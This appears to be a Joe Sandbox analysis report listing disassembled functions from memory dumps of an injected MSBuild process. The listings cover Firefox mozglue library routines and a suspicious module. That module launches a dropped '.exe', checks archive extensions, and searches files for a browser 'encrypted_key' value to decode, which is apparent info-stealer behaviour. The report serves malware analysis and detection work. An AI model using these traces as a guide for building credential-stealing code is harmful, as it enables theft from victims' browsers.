Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBE9470
Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBE9482
Part of subcall function 6CBE9420: __Init_thread_footer.LIBCMT ref: 6CBE949F

GetCurrentThreadId.KERNEL32 ref: 6CBEF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CBEF8F9

Part of subcall function 6CBB6390: GetCurrentThreadId.KERNEL32 ref: 6CBB63D0
Part of subcall function 6CBB6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CBB63DF
Part of subcall function 6CBB6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CBB640E

ReleaseSRWLockExclusive.KERNEL32(6CC2F4B8), ref: 6CBEF93A
GetCurrentThreadId.KERNEL32 ref: 6CBEF98A
GetCurrentThreadId.KERNEL32 ref: 6CBEF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBEF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBEF716

Part of subcall function 6CBE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CBE94EE
Part of subcall function 6CBE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CBE9508

Part of subcall function 6CBAB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CBAB5E0

GetCurrentThreadId.KERNEL32 ref: 6CBEF739
AcquireSRWLockExclusive.KERNEL32(6CC2F4B8), ref: 6CBEF746
GetCurrentThreadId.KERNEL32 ref: 6CBEF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CC2385B,00000002,?,?,?,?,?), ref: 6CBEF829
free.MOZGLUE(?,?,00000000,?), ref: 6CBEF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CBEF866
free.MOZGLUE(?), ref: 6CBEFA0C

Part of subcall function 6CBB5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBB55E1), ref: 6CBB5E8C
Part of subcall function 6CBB5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBB5E9D
Part of subcall function 6CBB5E60: GetCurrentThreadId.KERNEL32 ref: 6CBB5EAB
Part of subcall function 6CBB5E60: GetCurrentThreadId.KERNEL32 ref: 6CBB5EB8
Part of subcall function 6CBB5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBB5ECF
Part of subcall function 6CBB5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CBB5F27
Part of subcall function 6CBB5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CBB5F47
Part of subcall function 6CBB5E60: GetCurrentProcess.KERNEL32 ref: 6CBB5F53
Part of subcall function 6CBB5E60: GetCurrentThread.KERNEL32 ref: 6CBB5F5C
Part of subcall function 6CBB5E60: GetCurrentProcess.KERNEL32 ref: 6CBB5F66
Part of subcall function 6CBB5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CBB5F7E

free.MOZGLUE(?), ref: 6CBEF9C5
free.MOZGLUE(?), ref: 6CBEF9DA

Strings

" attempted to re-register as ", xrefs: 6CBEF858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CBEF9A6
Thread , xrefs: 6CBEF789
[D %d/%d] profiler_register_thread(%s), xrefs: 6CBEF71F

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 2f63cc3044091ee670bddb29fc04c31636ee6e435974630680c487cac6f0f2d7
Instruction ID: bf0a42573a5034f5afe7679bcf5c0b7069ce39f4bcbc345699513388c657b3d0
Opcode Fuzzy Hash: 2f63cc3044091ee670bddb29fc04c31636ee6e435974630680c487cac6f0f2d7
Instruction Fuzzy Hash: A8814770A043849FDB10DF24D840AAEB7B5EF89748F44452DE8859BB51EB34E849CBA3

Function 0041260C Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 204stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

_memset.LIBCMT ref: 004127B1
lstrcatA.KERNEL32(?,?,?,?,?), ref: 004127C3
lstrcatA.KERNEL32(?,00436698), ref: 004127D5
lstrcatA.KERNEL32(?,e694b6d50199ea44207a97e25dda5506), ref: 004127E7
lstrcatA.KERNEL32(?,0043669C), ref: 004127F9
lstrcatA.KERNEL32(?,?), ref: 00412809
lstrcatA.KERNEL32(?,004366A0), ref: 0041281B
lstrlenA.KERNEL32(?), ref: 00412824
lstrcatA.KERNEL32(?,EMPTY), ref: 00412840
lstrcatA.KERNEL32(?,004366AC), ref: 00412852
lstrcatA.KERNEL32(?,?), ref: 00412862
lstrcatA.KERNEL32(?,004366B0), ref: 00412874
lstrlenA.KERNEL32(?), ref: 00412881
_memset.LIBCMT ref: 004128B7

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,004366B4,?), ref: 00412924
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00412932

Strings

EMPTY, xrefs: 0041283A
.exe, xrefs: 0041264F
e694b6d50199ea44207a97e25dda5506, xrefs: 004127DB

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$Create_memset$FileObjectProcessSingleSystemTimeWait
String ID: .exe$EMPTY$e694b6d50199ea44207a97e25dda5506
API String ID: 141474312-3801996841
Opcode ID: 654f685dd82f6e0316c16e6c1270da0dd472ad586f9f38bae0cdf5a9b91f7de5
Instruction ID: 304a4236ee7f0de4f144c20be59e76cfc50544f1b2deb0a0f06e66ba437c67be
Opcode Fuzzy Hash: 654f685dd82f6e0316c16e6c1270da0dd472ad586f9f38bae0cdf5a9b91f7de5
Instruction Fuzzy Hash: E9814FB2E50129ABCF11EF61DD46ACE7379AB04309F4054BAB708B3051D679AFC98F58

Function 004139C2 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 127stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,block,?,?,00417854), ref: 004139D7
ExitProcess.KERNEL32 ref: 004139E2
strtok_s.MSVCRT ref: 004139F3

Strings

TxA, xrefs: 004139EC, 004139EF
block, xrefs: 004139CB

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: TxA$block
API String ID: 3407564107-2373637923
Opcode ID: 0968e0b0628705e8ac1d29d17911e38a67c685f80fe145dba11dcdbcfe66eece
Instruction ID: 9e2abf34b02cddae1b0fa04c6dc88f1d30775994422634f8dc56bb1647053282
Opcode Fuzzy Hash: 0968e0b0628705e8ac1d29d17911e38a67c685f80fe145dba11dcdbcfe66eece
Instruction Fuzzy Hash: 7B414F70A48306BBEB44DF60DC49E9A7B6CFB1870BB206166E402D2151FB39B781DB58

Function 0041B983 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,74DE83C0,00000000,0041C66E,?), ref: 0041B988
StrCmpCA.SHLWAPI(74DE83C0,0043613C), ref: 0041B9B6
StrCmpCA.SHLWAPI(74DE83C0,.zip), ref: 0041B9C6
StrCmpCA.SHLWAPI(74DE83C0,.zoo), ref: 0041B9D2
StrCmpCA.SHLWAPI(74DE83C0,.arc), ref: 0041B9DE
StrCmpCA.SHLWAPI(74DE83C0,.lzh), ref: 0041B9EA
StrCmpCA.SHLWAPI(74DE83C0,.arj), ref: 0041B9F6
StrCmpCA.SHLWAPI(74DE83C0,.gz), ref: 0041BA02
StrCmpCA.SHLWAPI(74DE83C0,.tgz), ref: 0041BA0E

Strings

.zoo, xrefs: 0041B9CC
.lzh, xrefs: 0041B9E4
.arj, xrefs: 0041B9F0
.arc, xrefs: 0041B9D8
.zip, xrefs: 0041B9C0
.gz, xrefs: 0041B9FC
.tgz, xrefs: 0041BA08

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction ID: 04d37d8bf72ca36d8f635762d850a2ddb5f423679fb0dd0bb54afd8eff972df8
Opcode Fuzzy Hash: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction Fuzzy Hash: D601B571691367B15A2226316E41FBF1E6CCD86F80F15202BED00E2289EB4C9C8356FE

Function 6CBB9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBA31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CBA3217
Part of subcall function 6CBA31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CBA3236
Part of subcall function 6CBA31C0: FreeLibrary.KERNEL32 ref: 6CBA324B
Part of subcall function 6CBA31C0: __Init_thread_footer.LIBCMT ref: 6CBA3260
Part of subcall function 6CBA31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CBA327F
Part of subcall function 6CBA31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBA328E
Part of subcall function 6CBA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBA32AB
Part of subcall function 6CBA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBA32D1
Part of subcall function 6CBA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CBA32E5
Part of subcall function 6CBA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CBA32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CBB9675
__Init_thread_footer.LIBCMT ref: 6CBB9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CBB96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CBB9707
__Init_thread_footer.LIBCMT ref: 6CBB971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBB9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CBB97B7
FreeLibrary.KERNEL32 ref: 6CBB97D0
FreeLibrary.KERNEL32 ref: 6CBB97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBB9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CBB9670
MapViewOfFileNuma2, xrefs: 6CBB97B1
ntdll.dll, xrefs: 6CBB96E3
NtMapViewOfSection, xrefs: 6CBB9701

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 41ab96099a515b57e3ef891edf305938ba3ab75d23647704158110245d1df367
Instruction ID: 3f14136e6320f828319aecdc2fc39ba5f9cb29ce4972c4f418a429520c7de91b
Opcode Fuzzy Hash: 41ab96099a515b57e3ef891edf305938ba3ab75d23647704158110245d1df367
Instruction Fuzzy Hash: E361F371B103599FDF00DFA9D884BAA7BB0EB5A714F004529ED56A3780DB38E844CB92

Function 6CC06660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CC2F618), ref: 6CC06694
GetThreadId.KERNEL32(?), ref: 6CC066B1
GetCurrentThreadId.KERNEL32 ref: 6CC066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CC066E1
EnterCriticalSection.KERNEL32(6CC2F618), ref: 6CC06734
GetCurrentProcess.KERNEL32 ref: 6CC0673A
LeaveCriticalSection.KERNEL32(6CC2F618), ref: 6CC0676C
GetCurrentThread.KERNEL32 ref: 6CC067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CC06868
RtlCaptureContext.NTDLL ref: 6CC0687F

Strings

WalkStack64, xrefs: 6CC06890

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: a3a0f875a0e9618249675d1c9664bfe336a56b01f198a285f7806ede35818fae
Instruction ID: 236c479d0034a00270d29f9ff747f68fad8050de2408864feb9ab68f24b9cd49
Opcode Fuzzy Hash: a3a0f875a0e9618249675d1c9664bfe336a56b01f198a285f7806ede35818fae
Instruction Fuzzy Hash: 8F51DA71A09700AFDB11CF29C844B9ABBF4FF89714F00492DF99997640E7B5E948CB92

Function 6CBFD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBFD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CBFD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBFD52A
GetCurrentThreadId.KERNEL32 ref: 6CBFD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CBFD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBFD55F
free.MOZGLUE(00000000), ref: 6CBFD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CBFD5D3
GetCurrentThreadId.KERNEL32 ref: 6CBFD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CBFD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBFD652
GetCurrentThreadId.KERNEL32 ref: 6CBFD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CBFD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBFD6A2

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 76ea525f5a2cebb44829c181321f9c50227d65f085f69c3495a3519144001425
Instruction ID: 7157ed92bf5b277dbc728ef4144b082c9c657ad61d39358f449baf537b820962
Opcode Fuzzy Hash: 76ea525f5a2cebb44829c181321f9c50227d65f085f69c3495a3519144001425
Instruction Fuzzy Hash: 15516C71614745EFC704DF35C494A9ABBF4FF89328F10862EE85A87710DB34A949CB91

Function 6CBEEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBB4A68), ref: 6CBE945E
Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBE9470
Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBE9482
Part of subcall function 6CBE9420: __Init_thread_footer.LIBCMT ref: 6CBE949F

GetCurrentThreadId.KERNEL32 ref: 6CBEEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBEEC8C

Part of subcall function 6CBE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CBE94EE
Part of subcall function 6CBE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CBE9508

GetCurrentThreadId.KERNEL32 ref: 6CBEECA1
AcquireSRWLockExclusive.KERNEL32(6CC2F4B8), ref: 6CBEECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CBEECC5
ReleaseSRWLockExclusive.KERNEL32(6CC2F4B8), ref: 6CBEED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CBEED19
CloseHandle.KERNEL32(?), ref: 6CBEED28
free.MOZGLUE(00000000), ref: 6CBEED2F
ReleaseSRWLockExclusive.KERNEL32(6CC2F4B8), ref: 6CBEED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CBEEC94

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 58a460d76aeaf7c6f5d53028e36115132476d5b712815a6cbb8cff1ab5b27eaf
Instruction ID: 1c11c91947d3cc28afa31e8e13a2da5e0d8bc44a749e6be05bbb65189197b8d5
Opcode Fuzzy Hash: 58a460d76aeaf7c6f5d53028e36115132476d5b712815a6cbb8cff1ab5b27eaf
Instruction Fuzzy Hash: D821F9756001A8EFDF019F64D804AAE7779EF497ACF104210FC1957B40DB799805CBB2

Function 0041580D Relevance: 18.2, APIs: 12, Instructions: 188stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415845
_memset.LIBCMT ref: 00415856

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00415881
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041589F
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 004158B3
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 004158C6

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 004121E7: GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,0041595C,?), ref: 004121F2

StrStrA.SHLWAPI(00000000), ref: 0041596A
GlobalFree.KERNEL32(?), ref: 00415A8C

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

lstrcatA.KERNEL32(?,00000000), ref: 00415A18
StrCmpCA.SHLWAPI(?,00436645), ref: 00415A35
lstrcatA.KERNEL32(?,?), ref: 00415A54
lstrcatA.KERNEL32(?,00436A8C), ref: 00415A65

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

